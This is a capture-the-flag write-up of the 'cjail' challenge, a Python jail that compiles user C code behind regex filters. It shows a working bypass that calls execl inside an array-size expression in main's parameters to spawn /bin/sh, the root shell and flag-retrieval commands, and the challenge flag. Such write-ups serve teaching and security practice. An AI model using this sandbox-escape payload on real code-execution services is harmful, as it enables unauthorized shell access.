cjail

easy (sorry actually fairly difficult) | misc | 200 points

C is a simple and well-specified language.

First Impressions

I have been coding in C lately, so this challenge, written by apropos, really caught my interest.

We were provided a server to interact with, cjail.ctf.maplebacon.org and the server's source code, jail.py.

import os, re

lines = input("input c: ")
while True:
    line = input()
    lines += "\n"
    lines += line
    if line == "": break

It starts off fairly simple, where it takes lines of C code as input, and pressing Enter twice breaks the loop, indicating the end of input. However, the pattern matching conditions blew my mind.

if re.search(r'[{][^}]', lines) or re.search(r'[^{][}]', lines):
    quit() # disallow function declarations

Wha- how am I supposed to write C code without a function block?!??!?!

elif re.search(r';', lines):
    quit() # disallow function calls

??? I thought semicolons were supposed mandatory when writing C, speaking from the number of errors I've gotten when I forget to include it.

elif re.search(r'#', lines):
    quit() # disallow includes

No includes? This seems to be restricting every single important C feature.

elif re.search(r'%', lines) or re.search(r'\?', lines) or re.search(r'<', lines):
    quit() # disallow digraphs and trigraphs

I had no idea what digraphs and trigraphs were before this. They seem to be alternate ways of writing some of the restricted characters above. And this program restricts those too, yay.

elif re.search(r'_', lines):
    quit()

Okay, I can write C code without underscores, this is doable.

elif re.search(r'system', lines):
    quit() # a little more pain

And after all those restrictions, if I somehow manage to find a code execution point, I can't use the system() to execute OS commands, great.

else:
    with open("safe.c", "w") as file:
        file.write(lines)
    os.system("cc safe.c")
    os.system("./a.out")

Once all checks are passed, the code compiles and executes. *sigh*

I tried out a sample program, and of course the program quits without any output because it doesn't pass the conditions.

$ nc cjail.ctf.maplebacon.org 1337
input c: int main() { printf("Hello World"); }

Starting somewhere

I wasn't sure where really to start, so I turned to the internet for help, mostly focusing on looking for code without semicolons. I started with a bare minimum main function:

$ nc cjail.ctf.maplebacon.org 1337
input c: int main() {}

I thought function blocks weren't allowed at all, but empty function blocks are, which was new to me. While this felt like progress, it added to the confusion as I didn't know where to execute any code.

Finding a code execution point

Then, I tried this totally unexpected way to print Hello World:

$ nc cjail.ctf.maplebacon.org 1337
input c: int main(int argc, char *argv[printf("Hello World")]) {}

[safe.c:1:32: warning: implicit declaration of function ‘printf’ [-Wimplicit-function-declaration]
    1 | int main(int argc, char * argv[printf("Hello World")]) {}
      |                                ^~~~~~
safe.c:1:1: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
  +++ |+#include <stdio.h>
    1 | int main(int argc, char * argv[printf("Hello World")]) {}
safe.c:1:32: warning: incompatible implicit declaration of built-in function ‘printf’ [-Wbuiltin-declaration-mismatch]
    1 | int main(int argc, char * argv[printf("Hello World")]) {}
      |   ]                             ^~~~~~
safe.c:1:32: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
Hello World

It throws a lot of warnings, but IT WORKS! It blew my mind for sure, and I'll get into why it works later in the writeup.

Getting a shell

Next, I needed to find some way to break out of this program and access the system, getting a shell seems like a possible way.

Using system() is restricted, so I looked to Linux syscalls, that provide the exec set of functions for the same task. In this case, I used execl():

int execl(const char *path, const char *arg0, ..., /*, (char *)0, */);

The command I was looking to execute was sh or /bin/sh without any arguments. However, I had troubles getting that to work 1, so I tried the equivalent of sh -c sh:

execl("/bin/sh", "/bin/sh", "-c", "/bin/sh");

The first argument is the path of the file to execute, which is /bin/sh. It then takes arguments, starting from the 0th argument, which is why /bin/sh is mentioned twice at the start.

It was finally time to test the payload.

$ nc cjail.ctf.maplebacon.org 1337
input c: int main(int argc, char *argv[execl("/bin/sh", "/bin/sh", "-c", "/bin/sh")]) {}

safe.c:1:31: warning: implicit declaration of function ‘execl’ [-Wimplicit-function-declaration]
    1 | int main(int argc, char *argv[execl("/bin/sh", "/bin/sh", "-c", "/bin/sh")]) {}
      |                               ^~~~~
safe.c:1:31: warning: incompatible implicit declaration of built-in function ‘execl’ [-Wbuiltin-declaration-mismatch]
id
uid=0(root) gid=0(root) groups=0(root)

Once again, it throws warnings, but I HAD A WORKING SHELL IN THE SERVER! Lastly, I searched for the flag, and found it in /app/flag.

find / -name "flag" 2>/dev/null
/app/flag
cat /app/flag
maple{h0w_c0u1d_1_b3_so_34s1ly_d3f34t3ddddddddddd_zb7VwbnWHsiqOIxzHa}

Flag: maple{h0w_c0u1d_1_b3_so_34s1ly_d3f34t3ddddddddddd_zb7VwbnWHsiqOIxzHa}


Why does it work?

Let's revisit the Hello World example from earlier:

int main(int argc, char *argv[printf("Hello World")]) {}

The square bracket notation in C is used to specify the length of the array. It's generally left empty here, as the length is determined by the number of arguments provided to the program, which can vary each time. Despite that, specifying a fixed length to this array is still valid syntax.

Now you might be wondering why printf gets executed if a number is required here. Here's the function declaration for printf:

int printf(const char *restrict format, ...);

printf() returns a value of type int. So at run time, when the array needs to define its length, printf() gets executed to get the resulting number, thus printing "Hello World" to the screen.

This should work for all functions that return an int, like execl() which is how I get a shell!


Footnotes

  1. I kept trying execl("/bin/sh", "/bin/sh"), which didn't work. My guess is that I had to pass it at least one argument, even if its NULL, which I got to work while making this writeup:

    execl("/bin/sh", "/bin/sh", (char *) 0);
    

    Writing NULL returned an error, so the syntax (char *) 0 from the function declaration helped.